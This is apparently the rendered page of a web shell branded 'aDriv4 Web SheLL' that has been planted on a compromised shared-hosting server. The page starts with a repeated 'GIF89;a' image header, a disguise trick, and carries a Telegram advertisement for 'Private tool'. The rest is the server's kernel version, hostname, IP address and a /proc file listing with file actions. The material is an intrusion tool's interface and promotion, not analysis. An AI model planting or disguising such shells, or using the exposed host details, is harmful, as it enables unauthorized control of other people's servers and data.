GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium3.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
 LiteSpeed
 198.54.126.141
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-30 07:52:36
.. dir - root/root 0755 2025-08-05 09:04:33
3366702 dir - biosxtyz/biosxtyz 0555 2025-10-13 08:04:15
3366729 dir - biosxtyz/biosxtyz 0555 2025-10-13 08:04:16
3369637 dir - biosxtyz/biosxtyz 0555 2025-10-13 08:04:52
3369677 dir - biosxtyz/biosxtyz 0555 2025-10-13 08:04:53
3375623 dir - biosxtyz/biosxtyz 0555 2025-10-13 08:05:47
acpi dir - root/root 0555 2025-07-30 07:52:41
bus dir - root/root 0555 2025-07-30 07:52:50
driver dir - root/root 0555 2025-10-13 08:05:49
fs dir - root/root 0555 2025-07-30 07:52:50
irq dir - root/root 0555 2025-07-30 07:52:50
kcare dir - root/root 0555 2025-10-13 08:05:49
lve dir - root/root 0555 2025-10-13 08:02:57
net link - biosxtyz/biosxtyz 0555 2025-10-13 08:05:49
scsi dir - root/root 0555 2025-07-30 07:52:50
self link - biosxtyz/biosxtyz 0555 2025-10-13 08:04:16
sys dir - root/root 0555 2025-07-30 07:52:41
sysvipc dir - root/root 0555 2025-10-13 08:05:49
thread-self link - biosxtyz/biosxtyz 0555 2025-10-13 08:04:18
tty dir - root/root 0555 2025-10-13 08:05:09
buddyinfo 0 B root/root 0444 2025-10-13 08:05:49
cgroups 0 B root/root 0444 2025-10-13 08:03:28
cmdline text/plain 0 B root/root 0444 2025-10-13 08:03:01
consoles 0 B root/root 0444 2025-10-13 08:05:49
cpuinfo text/plain 0 B root/root 0444 2025-10-13 08:02:58
crypto 0 B root/root 0444 2025-10-13 08:05:49
devices 0 B root/root 0444 2025-10-13 08:05:49
diskstats 0 B root/root 0444 2025-10-13 08:03:04
dma 0 B root/root 0444 2025-10-13 08:05:49
execdomains 0 B root/root 0444 2025-10-13 08:05:49
fb 0 B root/root 0444 2025-10-13 08:05:49
filesystems text/plain 0 B root/root 0444 2025-10-13 07:57:42
interrupts 0 B root/root 0444 2025-10-13 08:05:49
iomem 0 B root/root 0444 2025-10-13 08:05:49
ioports 0 B root/root 0444 2025-10-13 08:05:49
kallsyms 0 B root/root 0444 2025-07-30 07:52:50
kcore 128 TB root/root 0400 2025-07-30 07:52:41
key-users 0 B root/root 0444 2025-10-13 08:05:49
keys 0 B root/root 0444 2025-10-13 08:05:49
kmsg 0 B root/root 0400 2025-10-13 08:05:49
kpagecgroup 0 B root/root 0400 2025-10-13 08:05:49
kpagecount 0 B root/root 0400 2025-10-13 08:05:49
kpageflags 0 B root/root 0400 2025-10-13 08:05:49
loadavg text/plain 0 B root/root 0444 2025-10-13 08:03:01
locks 0 B root/root 0444 2025-10-13 08:05:49
mdstat 0 B root/root 0444 2025-10-13 08:03:12
meminfo text/plain 0 B root/root 0444 2025-10-13 07:47:54
misc 0 B root/root 0444 2025-10-13 08:05:49
modules 0 B root/root 0444 2025-10-13 08:05:49
mounts text/plain 0 B biosxtyz/biosxtyz 0444 2025-10-13 08:05:49
mtrr 0 B root/root 0644 2025-07-30 07:52:50
pagetypeinfo 0 B root/root 0400 2025-10-13 08:05:49
partitions 0 B root/root 0444 2025-10-13 08:05:49
sched_debug 0 B root/root 0444 2025-10-13 08:05:49
schedstat 0 B root/root 0444 2025-10-13 08:05:49
slabinfo 0 B root/root 0400 2025-10-13 08:05:49
softirqs 0 B root/root 0444 2025-10-13 08:05:49
stat text/plain 0 B root/root 0444 2025-10-13 07:57:42
swaps 0 B root/root 0444 2025-07-30 07:52:38
sysrq-trigger 0 B root/root 0200 2025-07-30 07:52:50
timer_list 0 B root/root 0400 2025-10-13 08:05:49
uptime text/plain 0 B root/root 0444 2025-10-13 07:47:54
version text/plain 0 B root/root 0444 2025-10-13 08:05:49
vmallocinfo 0 B root/root 0400 2025-10-13 08:05:49
vmstat 0 B root/root 0444 2025-10-13 08:03:05
zoneinfo 0 B root/root 0444 2025-10-13 08:05:49
© aDriv4